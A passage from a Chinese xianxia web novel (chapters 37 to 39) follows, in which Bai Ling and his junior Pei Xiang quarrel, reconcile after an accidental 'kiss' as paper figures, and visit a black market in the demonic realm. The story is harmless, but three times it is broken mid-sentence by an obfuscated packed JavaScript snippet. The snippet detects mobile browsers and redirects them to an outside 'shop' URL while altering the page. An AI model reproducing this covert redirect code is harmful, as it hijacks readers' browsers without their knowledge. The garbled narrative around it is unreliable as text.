他眼角余光一扫,见白翎身上湿哒哒的、本人却浑然不觉,犹与剑胆有说有笑,遂加快手法,又捏了个风干诀,扔白翎身上。 白翎忽然干爽,衣袂飘飞,转身却对上裴响的后脑勺,不由得笑道:“还是阿响心细,多谢啦。我们正探讨你家宝贝的名字呢,不能稍微透露一下吗?” “取名关系深重,岂能随口敲定。”裴响轻哼一声,道,“总之不会同你一般,择些轻佻无稽的谐音。” 白翎叫道:“谐音怎么了!我还没说咱们霁青道场是激情道场呢!况且和别人打起来之前,我喊一声‘夫君娘子,上啊’,别人听我拖家带口的,肯定会到处找人,谁知道我喊的其实是剑?” 裴响深吸一口气,忍不住问:“怎会有人既有夫君,又有娘子?” 白翎道:“一夫一妻双宿双飞啊。道场不许纳妾。” 裴响:“……” 裴响直接抓过他的剑,要带其逃离白翎魔爪。 白翎看剑身两面都是暗色,知道“拂钧”听了他的大逆不道之辞,躲起来了,现下是“凉紫”主导,遂快步唤道:“别跑阿响,快把我的娘子还我!喂喂喂,你没有自己的娘子吗?再不还我,我要喊我夫君了——夫君你说句话啊夫君!” 两人一前一后,牵动迢递波澜。 营地传来笛声,是一曲清婉小调,回荡在魔域的残晖下。白翎仰头一听,知道是诸葛悟催他们回去了,又好说歹说一番,总算哄得裴响把剑还他。 他们涉水而行,凌波踏步,走得浑身暖意。裴响一直在前头,不过始终未将白翎甩掉。待上岸后,白翎重整鞋袜,师弟也从芥子袋取出木屐穿上,在不远处静静地站着。 白翎起身时,裴响亦抬眸道:“我想好剑的名字了。” 白翎:“嗯?叫什么?” “花谕。” “有什么典故吗?” “没有。” “切。”白翎抱臂笑道,“那不是和我取的名字差不多嘛!” 裴响淡然地说:“对。就是被你影响了。” 白翎不服,屈指去弹“花谕”的剑身,当面说裴响坏话。比如小师弟只许州官放火、不许百姓点灯啦,严于律己就算了,还严于律他啦,叽嘹个没停。 裴响目不斜视地往前走,只在白翎说得上头、差点绊倒时,伸手拽了他一把。 白翎很礼貌地道了声谢,转头继续叭叭。漫天飞落的笛声里,两人漫步回到营地。 37.三十七、退房 一驾焚烧灵石驱动的战车停在营地门口,散修们交钱买票,乘车离去。 白翎路过他们,心生好奇,转头见徐师弟正在收拾帐篷,散修们陆陆续续地“退房”了,过去问道:“徐兄,他们不住店了吗?” 徐师弟直起腰,说:“白仙……裴师弟!你终于醒了!哈哈,尹真人刚告诉我们,秘境黑市开张的时辰定了,就在今晚。大伙儿赶着去抢机缘呢。” “秘境黑市?”白翎好奇道,“还有这种场合?” 徐师弟道:“对呀,每场道会都会开办的。咱们入秘境也好些天了,许多仙友急需补充物资。还有些……嗯,来路不正的东西,要赶紧转手。” 徐师弟挠挠头,说:“尹真人之前念叨的‘我的时间不多了’,就是指这个。对捡垃圾的散修来讲,道会其实不重要,重要的是黑市,许多人等着一夜暴富呢。你们也去吧?” 白翎服了。 他一直以为尹真有什么惨痛苦衷,又是急着收丹药、又是自言自语时日不多之类,好像半截入土了似的。合着他活得好好的,只是要进货赶集啊! 难怪诸葛悟叫他们回来,多半也是因为此事。驾鹤一脉计划在半个时辰后出发,白翎与裴响循着笛声,穿过营地。 一曲终了,墨蓝织金袍的剑修放下竹笛,缓缓擦拭。他已将帐篷收好,立在一株枯树下,听见呼唤声自背后而来。 白翎高兴喊道:“师兄!我带阿响回来啦。” 诸葛悟负手回身,微笑着说:“回来就好。” 他看着两名师弟到近前,裴响行礼,白翎则笑眯眯捧起瑶池鼎,说:“这个还你,多谢师兄咯。” 裴响道:“师兄可有商行票折?两次借师兄的法宝复生,我别无他物,仅能以金银偿还。” “不必了。还钱不必,瑶池鼎也不必。”诸葛悟却道,“秘境中危机四伏,小裴修那般功法,不知什么时候还要用上。阿翎,你将香炉收着,以备不时之需。” 白翎问:“诶?你不和我们一起走吗?” “是的。虽然战事告一段落,但神教传讯集结,让我等告述战况。会耽搁一日,你们先随漱玉真人同行,我争取到黑市与你们汇合。”诸葛悟轻叹一声,说,“铃铛记得挂好。” 白翎拍拍腰封,示意自己挂着呢。诸葛悟便一颔首,查探裴响的修为后,化作一道遁光掠往天际,开会去了。 驾鹤一脉的弟子们忙着收拾帐篷、清扫营地,偶有路过的,都会跟裴响打个招呼,问候两句。裴响并不适应,只能僵硬地“嗯”一声、道个谢,再隐含求助意味地看向白翎。 白翎却两眼弯弯,让他自己对付。 白衣青年心情很好,哼着歌儿钻进帐篷,很快就把为数不多的用具收进芥子袋了。他再撩起门帘时,裴响也已将分配的水缸送回去,默不作声地站在帐篷边,等他出来。 不过,裴响怀里多出了一堆东西。 白翎打眼一看,见是些鸡零狗碎的小玩意儿,吃的喝的、甚至色彩绚异的魔域野花,不用问也能猜到,定是驾鹤一脉的小辈们送裴响的慰问礼。 “这些……价值多少?”裴响垂下眼睫,低声道,“要还人情。” “真厉害呀阿响,你还知道人情世故?哈哈,朋友们就是这样的,不用太计较啦。以后有什么事,你也帮帮人家呗,别想着用钱还了。”白翎利索地扯掉绳结,开始拆帐篷。 裴响迟疑道:“朋友?” “当然,我们和他们认识好一阵子了,大家都是朋友。”白翎顺便把解下来的零件也塞给他,说,“搭把手。” 裴响接住东西,道:“那我们……” 他半天没后文,白翎回头问:“我们什么?” 白翎蹲在地上,袖摆简单地缚起,以免行事不便。他仰起头,在阴寒的天色下,却如零星白花,柔和的容貌勾勒着淡淡光晕。 白翎耐心等待,却见黑衣少年蹙起眉,脸色一会儿红一会儿白,好像难以启齿。 白翎了然道:“你想问咱俩算不算朋友?” 裴响一惊,被戳破了心事。 白翎轻松地说:“当然算啦,阿响觉得不算吗?” 裴响恼道:“你既然当我是朋友,怎么还对我……” 他又讲不出口了,白翎眨眨眼:“我对你咋啦?” 裴响冷笑道:“你对我做朋友做不得的事,你心里清楚。” “啊?”白翎歪着脑袋发呆片刻,双眼一亮,道,“你是说在瑶池鼎的时候,我伸手摸你的事情吧!你能感觉到?” 裴响:“……” 裴响面无表情道:“不能。” 白翎立即改口:“刚才开玩笑的,我没摸你。” 死寂半晌,他不得不硬着头皮说:“你这是什么表情!好吧,我摸了,但我就是想知道你身体怎么样嘛。这算哪门子朋友做不得的事?” 裴响胸膛起伏,终于忍无可忍道:“我是说你的功法!” 白翎一拍脑袋,终于跟上了他的思路,说:“上次掉水里之后,我确实有突破迹象来着,修炼的效果也好多了。要是阿响你没有受到实质上的伤害,只是很不好意思的话……嗯……” 白翎面露狡黠,拉着师弟的衣摆摇晃一下,拜托道:“以后再多帮帮我呗,好不好?看在朋友的面子上!” 裴响的脸色从红到紫,从白转青,最后挤出一句:“天下没有这种朋友!” 他拂袖而去,不知躲到哪个犄角旮旯自闭了。白翎忙站起来,被师弟的话砸得发蒙。 什么意思,不帮就不帮嘛,一副绝交的样子是作甚!可白翎没来得及追过去,就见驾鹤一脉的田师妹跑过来。 田师妹道:“白仙长!我刚看见裴师弟了,他还好吧?快快快,就剩你们的帐篷啦。” 白翎只好收回视线,心不在焉地干活。 田师妹却发现了不对,问:“裴师弟人呢?是不是又被你气跑了哈哈哈。” “被我气跑?嘁,明明是他莫名其妙生气的!”白翎不服,憋闷半天,最后决定拐个弯咨询田师妹,道,“我认识一位仙友。” 田师妹问:“这位仙友是不是你自己?” “当当当然不是啊!”白翎差点被口水呛着,心虚地说,“他嘛……不,她是一位女修,有一个挺乖的……师妹。对,师姐妹二人本来感情很好的,师姐认为师妹是她的至交好友,师妹虽然害羞,但心底里肯定赞同。” 田师妹点头道:“原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137221|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此。看来仙友确实不是你。” 白翎:“为什么?” 田师妹道:“因为你没有师妹呀。” 白翎没想到她如此好糊弄,大喜道:“没错。” 田师妹又道:“裴师弟和‘乖’字也不沾边,至于你俩的感情嘛,更谈不上和谐。” 白翎:“……” 白翎不喜了,道:“你不懂!哎呀先听我讲。反正师姐中了奇毒,要双修才能解,她不求解毒,只求活久点,所以想请师妹看在二人交情的份上,平日里和她拉拉小手、亲亲小嘴……呃应该不用亲嘴,搂搂抱抱什么的就行了。” 田师妹:“然后呢?” “然后?然后师妹不乐意,还非常非常生气!你知道她说什么吗?天哪,她说“天下没有这样的朋友’!真是的,好像要绝交一样……”白翎不满地展开帐篷对折,嘟嘟囔囔,“不愿意就不愿意呗,难道能强迫他?好好说话会怎样啊,不知道的以为对他霸王硬上弓了……喂,你想什么呢?” 只见田师妹听着听着捧住脸,露出幻想中的痴迷神色,道:“我在想,假如是大师姐这样对我的话……” 白翎问:“你会怎样?” “我肯定会爱上她的!” 白翎:“……” 白翎把叠好的帐篷丢过去,把少女的美梦砸醒了。他呵呵道:“不许出现这种情况。我是有节操的人!” “跟你的节操有什么关系?”田师妹气呼呼地说,“你说的那位师妹不接受师姐也正常,谁让师姐先说的她们是‘至交好友’呢?” 白翎步子一顿,脑海中灵光闪过,是醍醐灌顶的前兆。 他回头道:“大师,什么意思?” “白仙长真是木头。你不会在为这个师姐打抱不平吧?依我看,可怜之人恰恰相反,不是师姐、而是师妹!与自己行亲密之事的人,口口声声说她们只是朋友,岂不是——” 田师妹冷笑连连,眯眼斥道,“岂不是拒绝负责、仅图享乐,借着长辈身份蛊惑晚辈献身,却不给名分始乱终弃的千古第一负心人?!” 白翎目瞪口呆。 他愣在原地,被田师妹的批判万箭穿心。田师妹并未发觉他的反常,环顾四周见无旁人,双手合十道:“白仙长,你认识的仙友究竟是谁啊?你就告诉我吧,我保证这次不会说出去的!” 可是白翎已经将她的话与裴响的表现一一对应起来,几乎可以笃定,师弟正是如此误会他的。 他抬脚便走,魂不守舍地说:“不行……糟糕。师妹不知道躲在哪里哭呢,要快些把人找到。” 田师妹却瞧见了一道人影,招手道:“裴师弟!” 白翎立即抬头,见前方的丘岩后面,一袭熟悉的黑衣闪过。原来裴响生气但没有走远,藏在那里,白翎稍微追两步就能发现他了。然而,白翎久久没有过去。 他不仅没过去,还一直在和田师妹讲话;不仅和田师妹讲话,还仿佛相谈甚欢,最后被左等右等、终于忍不住现身的裴响撞个正着。 白翎此时赶到丘岩后,早已经空无一人。 幸好,徐师弟在旁边清点物资,说:“白仙长,你在找你师弟吗?他刚往集合的地方去了,咱们也快过去吧。” 38.三十八、黑市 来到集合地点,白翎并未看见裴响。 直到他和林暗打过招呼,又应付了其他人几句闲谈,才瞥见师弟的身影。 少年人身姿挺拔,从另一个方向走来。他一袭黑色道服衬着朱缎银纹发带,斜背仙剑,很是醒目。 不过,裴响的面上犹有湿意,似乎刚洗过脸,漂亮的面容已恢复冷静。他没有和往常一样走到白翎身侧,而是与之隔着人群,沉默地眺望远处。 白翎被驾鹤一脉的小辈们围在当中,无法抽身。若在平时,他听小辈们抱怨散修难缠,定有一百种法子教他们膈应死人不偿命。但,今天不一样,他听什么都左耳进右耳出。 好在小辈们也发现了裴响,转身围着他去了,追问他身体状况如何。只是这样一来,无法抽身的变成了裴响,白翎被挡在外面,依然没机会找他说话。 田师妹左看看、右瞧瞧,小声问白翎:“白仙长,你说的那位仙友真的不是你吗?” “真的不是啊!”白翎头皮一炸,立即走开,不敢再杵在原地了。他刚转过身,便感到一道凉飕飕的目光投在自己背上,如同芒刺。 师弟果然气狠了。 白翎头回对裴响犯怂,不敢回头,一个劲儿乱走,假装很忙。直到一片枫红出现在视野,他才戛然止步。 白翎道:“啊,尹兄你好。准备出发了么?” “走啊。大姐头载她的师弟师妹,我还是负责你,和你师弟。”尹真顶着黑眼圈,或许因即将暴富,懒洋洋地勾动唇角。不过他见白翎迟迟没有动作,略一观察,问,“你俩什么毛病?站这么远。” 白翎干笑一声,想表示自己能试着御剑了,让他载裴响就行,却被尹真大手一挥,眨眼变成了小纸片儿。 与他同等待遇的,还有裴响。两张纸片人一左一右,落在尹真双肩,被其脖颈挡住。王不见王,倒是诡异地和平共处。 裴响一声不吭,不知是在置气还是怎么。 当着外人的面,白翎也拉不下脸赌咒发誓、自证清白,倒是与他僵持住了。 林暗带领众人升上高空,尹真亦踩刀飞起。他一下子窜上云层,吓白翎一跳,忙攥住他头发问:“飞这么高干嘛?” “你不知道黑市在哪开啊。”尹真散漫道,“在天上。” 白翎还真不知道。他只觉天旋地转,恐高依旧,幸好没逞强御剑。要不是变成了纸人,现在他肯定双目翻作死鱼眼,两腿一蹬赴极乐世界了。 可是还和裴响处于冷战中,白翎无人诉苦,不得不强忍晕眩,做孤苦无依的软脚虾。不料,正当他半死不活之际,少许圆圆的纸片露出来,是裴响的小半张脸。 他被白翎发现,倏地缩了回去。 白翎“诶?”了一声,有气无力。不知旅程要煎熬多久,尹真仍在向上飞,今日云层稀薄,白翎是一眼也不敢往下瞅。 他受不了了,软绵绵地喊道:“师弟……” 另一边没有回音。 白翎唉声叹气,难受得紧。他从不是死要面子活受罪的人,继续骚扰道:“阿响……” 另一边总算传来“嗯”的一声。 白翎大受振奋,脸也不要了,抱怨道:“我好晕啊。” 说是抱怨,实际上堪比撒娇。白翎的嗓音清亮,他知道自己说出来是什么效果。师弟那般正人君子,面对示弱,肯定会心软的。 孰料尹真先忍不下去了,啧道:“你俩搁这对山歌呢?” 白翎:“……” 白翎气得倒仰,心说差一点就能钓到师弟了!只差一点! 不过他没躺尸一会儿,便听见窸窸窣窣的声音,忙支起脑袋。一只纸片儿小手从另一边伸出来,摸索片刻,露出整个纸人。 裴响幽幽地观望着他,与白翎对视。两张空白的纸人面孔上,都没有任何表情。良久后,终是遭受恐高折磨的白翎赢了,裴响沉默地挪了过来。 他在尹真的后衣领上坐下,留了个位置,看着白翎不语。 白翎明白了师弟别别扭扭的好意,扒着衣领边缘,一步步蹭到裴响身边。没想到变故陡生,尹真一个急转弯,吓得白翎脚下一飘,“啪”地拍在了裴响身上。 裴响:“……” 两张纸人儿严丝合缝,头对头、脚对脚、面对面,紧紧地叠在一起。白翎刚要发话,便觉着自己镂空的三角形嘴巴正对着裴响的嘴,他一出声,两人的嘴中间就一气儿漏风。 裴响:“………………” 饶是没心没肺如白翎,此刻也被镇住了。 他不敢想象师弟的心里面是天崩地裂、还是排山倒海,只能赶紧往边上移,勉强与师弟错开。 裴响却一动不动,仿佛被抽走了三魂七魄。白翎心道不好,自己明明是来哄人的!怎么阴差阳错,还给裴响添上了一记重击。 白翎心虚地说:“都怪尹真,我、我不是故意的。” 尹真闻言嗤道:“怪我干嘛?有只鸟突然飞过来,要怪怪鸟。” 白翎:“……” 白翎磨着牙威胁他:“你不许再插嘴了,也不许偷听我和阿响讲话!不然扣一枚塔印。” 尹真冷笑,不置一词。 白翎打发了他,立即去牵师弟的手安慰:“没关系的阿响,我们都是纸片儿,贴一下而已不算亲嘴。” 没人答话,气氛更沉重了。 白翎继续道:“亲嘴也没事。反正我是初吻,你也是吧?大家都不吃亏。” 裴响的脸缓缓向他转动,因为两人的面颊还叠着,白翎能感到他在颤抖。 白翎硬是坚持说完了最后一句:“我们都是男人,亲个嘴无所谓的!” 此言一出,裴响抖是不抖了,不过感觉像死了。 而尹真匪夷所思地道:“等一下???” 白翎立刻说:“扣两枚!” 尹真:“……算你狠!” 连一向事不关己高高挂起的尹真都听不下去,可见此番言辞有多惊世骇俗。可是白翎管不了这么多,他怕师弟受到的冲击太大,一辈子不理他了。 然而身为纸片,实在是限制发挥。白翎使劲浑身解数,往裴响身上乱蹭,试图令其开口。他不怕别的,就怕裴响不讲话,什么都憋着,肯定会憋出毛病。 可惜不等他把小师弟的魂儿招回来,喧哗由远及近。尹真一踩刀柄,汇入一条排在云中的队伍。 林暗等人也排着队,小辈们一迭声地欢呼:“真的是空中楼阁!” 白翎撩起尹真的头发往外看,只见浓如实质的乌云上,坐落着一艘雪白飞宫。在开辟秘境时,白翎便见识过此等奇物,然而眼前这艘比彼时所见广阔百倍,简直是一座云天之城。 天幕深远,不见日轮。然而清辉斜照,来自高空明月。 确切地说,白翎不知那是否能称为“月”。只见三光并联,盈缺不一,左侧两枚皎然生晕,右侧那枚则是黯淡的深红色,似闭上的眼睛。 细看之下,左侧的两枚也在变化,一枚完满圆润,另一枚形若弯钩,好像在慢慢睁开。 尹真介绍道:“我们已经深入魔域了。他们天上是三轮月亮,一个个睁开,再一个个闭上,一天就过去了。现在的时辰叫‘双月明’,相当于我们的上午。等晌午你就能见到‘三月明’了。” 白翎听了个大概,又转头捅咕裴响:“阿响你听见没?我们到地方啦。黑市好漂亮啊,你不亲眼看看肯定会后悔的,我们已经在排队进门了。” 裴响终于动了一下,但完全没有起身赏景的意思,而是面对白翎继续凝固。 白翎掩饰性地咳嗽一声,实在顶不住了,也面朝着他,慢慢后退,直到挪回了尹真肩上,倏地转身大喊:“啊!今天天气真好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151174|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹真皱眉道:“你被定坛道君打到头了?” 白翎咬牙切齿地扯下他一根头发,心里默念“再扣一枚”。队伍排成长龙,在云间蜿蜒迤逦,幸好前方分流,足有二十个城门洞。 林暗领着众人进门,白翎心生疑惑,问:“黑市的排场这么大,背后是什么人啊?这规模,这地段,都快赶上我家洞天了。” 因为林暗在登记,驾鹤一脉的小辈们也凑来尹真身边,等他讲解。 尹真刚被扯掉头发,很没耐心地说:“世上没有穷的黑市。开在魔域的,背后当然是魔头。你们这些毛没长齐的走路小心点,万一被魔修盯上,个个炸得外焦里嫩、金黄酥脆,嚼起来喷香。” 小辈们不信,觉得他吓唬人。 不过离飞宫越近,魔气越重,一些路过的魔修也不再遮掩,露出身上的魔纹、色彩奇异的双目。 如此正邪两道并存的场面,足以让小辈们大开眼界。白翎也没有料到,原来道修并非见魔就杀的。 当踏上人家的地盘,仙友们很识时务。不知魔域黑市究竟提供了何等便利,足以让双方暂时地“相敬如宾”。 飞宫分为内外两环,当中空心,贯穿天雷。内环名为海市,自然是交易的场所,外环则为蜃楼,供往来之人下榻。 林暗登记完毕,众人重新踩上地面。白翎恢复人形,裴响却跟宕机了似的,直到尹真把他捉出来。 白翎连忙接过师弟,捧着毫无声息的纸片儿小人吹气。裴响终于活了,像流体般滑出他掌心,缓缓变回人样。 白翎一看他的脸色,顿时暗道不好,说:“你的脸……” 裴响颤声道:“不许讲话。不然……不然我跳下去。” 白翎顺着他手指的地方一看,是飞宫门外,万里云潮。 白翎:“哦。” 他乖乖闭嘴,然而徐师弟跑来喋喋不休地说:“苍天啊亲娘啊,白仙长你们看见了吗?刚才有个魔修过去,后脑勺上也长着一张脸!还对我笑!……哎?裴师弟,你的脸怎么了?” 白翎忙竖起手指在唇前,冲他嘘声。 不料田师妹紧随其后,也脱口而出:“哇塞裴师弟,你的脸好像要烧起来了!不、不止是脸,耳朵和脖子都……奇怪,这里很热吗?” 白翎干笑道:“不一定很热才会脸红嘛,阿响他娇养大的,吹冷风也不舒服。是吧阿响?” 林暗款步而来,第三次问起:“嗯?裴师弟是怎么了,何故一番了无生趣之状。莫不是被白师弟你……” 白翎双目圆睁,指天发誓:“我什么都没有做!” 尹真:“呵呵。” 白翎百口莫辩,见裴响摇摇欲坠,忙将他拦腰抱住,叫道:“不要跳啊师弟!你就这么想不开吗?你、你跳——我也跳!” 他无意间把前世看的某沉船爱情大片的经典台词喊出来了。 尹真向其他人一招手,道:“别管,我们走。” 林暗疑惑地看向他。 尹真用手指点了点太阳穴,示意她这两人脑子有问题。 林暗轻出一口气,善解人意地颔首。小辈们目露担忧,探头探脑,被她左手搭一个、右手推一个,强行带离。 临走前,林暗微微笑道:“前面有糖水铺子,我请客。大家可以休息一会儿,有话慢慢说。” 只剩白翎与裴响二人,在城门下僵持。 眼看守门的魔修走过来,白翎立即起身,拉着师弟一溜小跑,钻进小巷。 裴响被他推到墙上,容色紧绷。少年人满面潮红未消,乌黑的睫羽低垂,掩着一分泪光,却因身量较高,被仰起脸的师兄看得一清二楚。 白翎双手抱臂,跟上辈子堵住好学生、讨要保护费的混混一样,抬起一条腿,踩在师弟的身侧。 他压低声音道:“说吧,这事怎样才能过去?” 39.三十九、糖水 白翎的本意是快点把人哄好,呵护师弟脆弱的心灵,不料又越了师弟雷池。裴响不敢置信地望着他,反问道:“过去?” 白翎:“……” 白翎呆呆地问:“不过去怎么办?” 裴响凉声道:“是了,你向来是不重礼义廉耻的,如此……之事,你竟能轻易翻篇。师兄高明,师弟望尘莫及,反正你也不在意我的心绪,往后……” 白翎举手投降:“停,停!” 裴响正说至激动处,泪水积蓄在眼眶中闪烁。他眼睫直颤,强忍着不落下泪来,却被白翎打断,当即紧抿薄唇,仿佛是“这次打断我,下次便休想要我开口”的意思。 白翎头疼道:“我们先把话说开!从现在开始,我问什么,你答什么,知道吗?” 裴响当然不听他的,转身要走,却被白翎的腿拦住,想绕另一边,结果白翎手臂一伸,把他困在中间。 白翎算是看出来了,这位小少爷矜持得很,不可能与他在巷子里扭打的。所以,他很愉快地利用了裴响的优秀品质,轻声警告:“别逼我挂你身上哦,好不好?阿响,我们现在可不是在折雨洞天,外面到处是魔修,我们是绑在一根绳子上的蚂蚱,应该消除误会、继续和谐友爱地相处,对吧?” 裴响:“……” 裴响无处可去,垂眸对上师兄笑吟吟的脸,也无话可说。 白翎道:“好,真听话。我们从早些时候谈起。我之前说,看在咱们是朋友的份上,请你帮我摸索功法,你很不高兴。为什么?” 裴响硬邦邦地说:“友人行夫妻之事,于情于理皆不合。” 他大概觉得话不够重,又补充道:“简直是滑天下之大稽。” 白翎轻叹一声,心想田师妹说的没错,裴响生气果然是这个原因。不过裴响对“夫妻之事”的要求也太低了吧?他们才哪到哪??? 白翎无奈道:“好咯,是师兄没节操,阿响真棒。我跟你道歉,是我太不要脸啦,为了续命什么事都干得出来——但我真没有利用或者不在乎你的意思,我只是问一嘴嘛!你不乐意就当我没说过,行吗?” 裴响双眸轻颤,一时不语。 从未有人如此待他,不论是强行澄清误会、还是直截了当地认错道歉,更别提把他拘在方寸间,变着法儿地逼问他真心话。 裴响的胸膛微微起伏,白翎顺手捻起他垂在胸前的发带,晃了晃催他回答。 裴响也拉住自己的发带,不许他摇,半晌后终于挤出一句:“若因性命之忧……情有可原。” 白翎灿烂笑道:“所以阿响原谅我啦?” 裴响横他一眼,仍绷着脸。白翎心下暗乐,说:“师兄还有句话,不知当讲不当讲。” 裴响的气刚消去大半,闻言露出警惕的神色。白翎继续道:“不当讲我也要讲。就是呢,一般男人与男人相处,是不会像你这样……的。” 他想了半天,本想说“小气”,可贬义太重;又想说“矫情”,但也是批评。 最终白翎直接略过,道:“像刚才只是贴了一下而已,我都没有感觉,根本不会细想。不就是被风吹得嘛!你也别往心里去啊。我还没谢谢你坐我旁边呢,靠着你的时候,我立刻不晕了,都是你的功劳呀!” 他好言好语,裴响煮熟的脸色渐渐褪红,但听他提及此事,睫羽簌簌,最后挤出一句:“……从前没有过。” “嗯?什么意思,初吻啊?”白翎大手一挥道,“不算!” 裴响恨恨地说:“算!” 白翎急中生智,骗他道:“其实……其实我当时是背对你的!你只亲到了我的后脑勺。” 裴响咬牙反驳:“我都感受到了你吹出的气息,你还……” “啊啊啊那你说怎么办嘛!”白翎直抓头发,开始后悔提这茬了,“做人不能太敏感啊师弟!横竖都是一辈子,为什么不能放过别人、放过自己呢?” 裴响冷冷道:“我就知道,你是不会负责的。” 白翎:“……” 白翎露出虚情假意的微笑,心说我负责,我怎么负责?回裴家提亲?会被裴声埋地下拉磨吧。以后他和裴舅爷三个一桌,刚好凑齐打麻将。 但白翎与裴响对视片刻,终是败下阵来,道:“行,算我亲了你。但我是不小心的!你就自认倒霉吧!” 他本来大义凛然、一派正气,现下不知为何,也浑身不自在起来,嘴上说着“算”,心里却“呸呸呸”个不停,再也待不下去,逃似的快步冲出了小巷。 林暗等人驻足的糖水铺子位于路口,生意红火。 道修与魔修齐聚一堂,白翎挤开几个杀马特发型的魔修,来到桌前,一声不吭地拉开椅子。 霎时间,休息的几人全部抬头,面色各异地看着他。 田师妹一针见血地指出:“白仙长,为什么你也脸红啦?” “脸红?什么脸红,我没有啊。”白翎轻咳一声,假装一切正常。 田师妹还欲再问,林暗却仿佛料到了什么,让她帮忙斟一碗茶,止住了话头。 裴响亦来到桌边,在白翎身侧默默坐下。他的面色倒是恢复了平静,还是一派清冷,不过并不与在座诸人视线相接。 徐师弟嬉笑道:“看来白仙长把裴师弟的脸红吸走了。你们……噗!” 林暗品着茶,忽然杵了他一胳膊肘,把徐师弟杵得喷出一嘴饼渣,倒在桌下抽动。 白翎刚想辩解,见状乖巧地收声了。 林暗说:“不好意思,手抖。徐郎,你没事吧?” 她伸手给徐师弟借力,让他爬起来。然而徐师弟爬起来第一句话,就是把他刚才没讲完的讲完:“你们俩真是有意思啊!哈哈哈……噗!!” 又是一记肘击,依然来自他敬爱的大师姐。小辈们静如木鸡,八卦心思全歇了,识相地低下头,各喝各的糖水。 徐师弟瘫倒在地,口吐白沫,看样子一时半刻都起不来了。 白翎:“啊……” 林暗优雅地捏起碗盖,拂去茶汤表面的浮叶,道:“怪了,最近为何总是手抖?其实在下认为,仙途漫漫,许多问题无关紧要。闲言碎语多了,总是影响道心。我受诸葛道长所托,照拂二位师弟,若你们生了什么岔子,在下难辞其咎啊。” 白翎听懂了她的言下之意,心虚笑道:“真人多虑了,我和阿响没什么的……糖水真好喝耶!” 尹真见他又发出莫名其妙的感叹以转移话题,嗤笑道:“出息。” 白翎却无意与之斗嘴。他和驾鹤一脉的小辈们一样,端起茶碗“吨吨吨”地喝,借机挡住表情。 林暗肯定是出于好心,怕他和裴响被起哄多了之后,关系受到影响。同样的情况,白翎上辈子见过:个别男女同学被传绯闻,好的修成正果,坏的则大打出手,此后见面就翻白眼绕道。 介于他和裴响是师兄弟,白翎姑且认为,他们毫无修成正果的可能。所以,还要多谢林暗。否则再被调侃下去,万一裴响想不开,他们俩便真的要大路朝天、各走一边了。 白翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162525|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄瞟了旁边一眼,没想到裴响根本没喝糖水,只喝了口茶润喉。黑衣少年神色淡淡,正看着他豪饮,不知看了多久。 霎时间,白翎险些也喷对面人一脸。 他呛得咳嗽连连,小辈们手忙脚乱地递草纸、拿抹布。白翎一手捂嘴,一手在空中乱挥,随便抓住一物,立即拿来狼狈地擦拭。 真是够了——流年不利、祸不单行啊! 白翎不知自己中了什么邪,好像从承认夺走……不对,是互换了裴响的初吻之后,他的魂就没归位过,一直很不对劲。 幸好一阵鼓掌声响起,糖水铺子请的说书先生上台了,为客人们评述近日战况。 小辈们没有想到,正邪共处就算了,连双方交战也能拿到台面上说,立即被吸引过去,在长条板凳上一排排坐好。 白翎仍呼吸不畅,忽有一道法诀落在他身上,将溅落的糖水清理干净。新倒的茶水递到唇边,白翎就着杯口啜饮,总算平复了吐息。 端着茶盏的手五指修长,骨节清劲,离他仅有毫厘之距。白翎哑声道谢,才发现自己瞎扯来擦嘴的东西,是裴响别在腰间的方巾。 男用方巾女用丝帕,属实是私密至极的用品了。虽然在法诀落下时,方巾也被清洁了一番,但是依裴响的性子,定不会收回别人碰过的私人用物。 白翎正想说一会儿给他买条新的,不料手间似有薄薄的流水滑过,方巾已被抽走。裴响将其慢慢叠好,复归原处。 白翎:“……” 白翎颇为意外,正想打趣两句,忽闻一阵敲锣打鼓之声。说书先生“唰”地展开折扇,抑扬顿挫的嗓音传遍街头巷尾。 “一期一会啊一期一会!诸位看官,两百年不见了!近日来战事焦灼,想必诸位也有所耳闻,已迫不及待要纵观秘境局势。不妨先小酌三盏、浅斟两杯,听在下细细道来。” “君不见日月争辉阴阳色,水火不容天地分。人魔殊途,自古如是,道统与魔门孰优孰劣,犹未可知;道场与魔域谁胜谁负,还看今朝。两千年前,展月老祖分割人魔,布下虚空,便是如今二百年一开的秘境。秘境一旦开启,双方龙腾虎跃……” “好了好了老郭,闲言少叙书归正文啊!”有客人听不下去前情提要了,笑骂声一片。 说书先生尴尬地敲了敲扇柄,道:“马上铺陈完了,急啥?就等着听双方的英杰排名是吧?” 客人道:“当然。如今群雄并起,局势比之二百年前,又不同了。快跟我们讲讲,有什么后起之秀?” 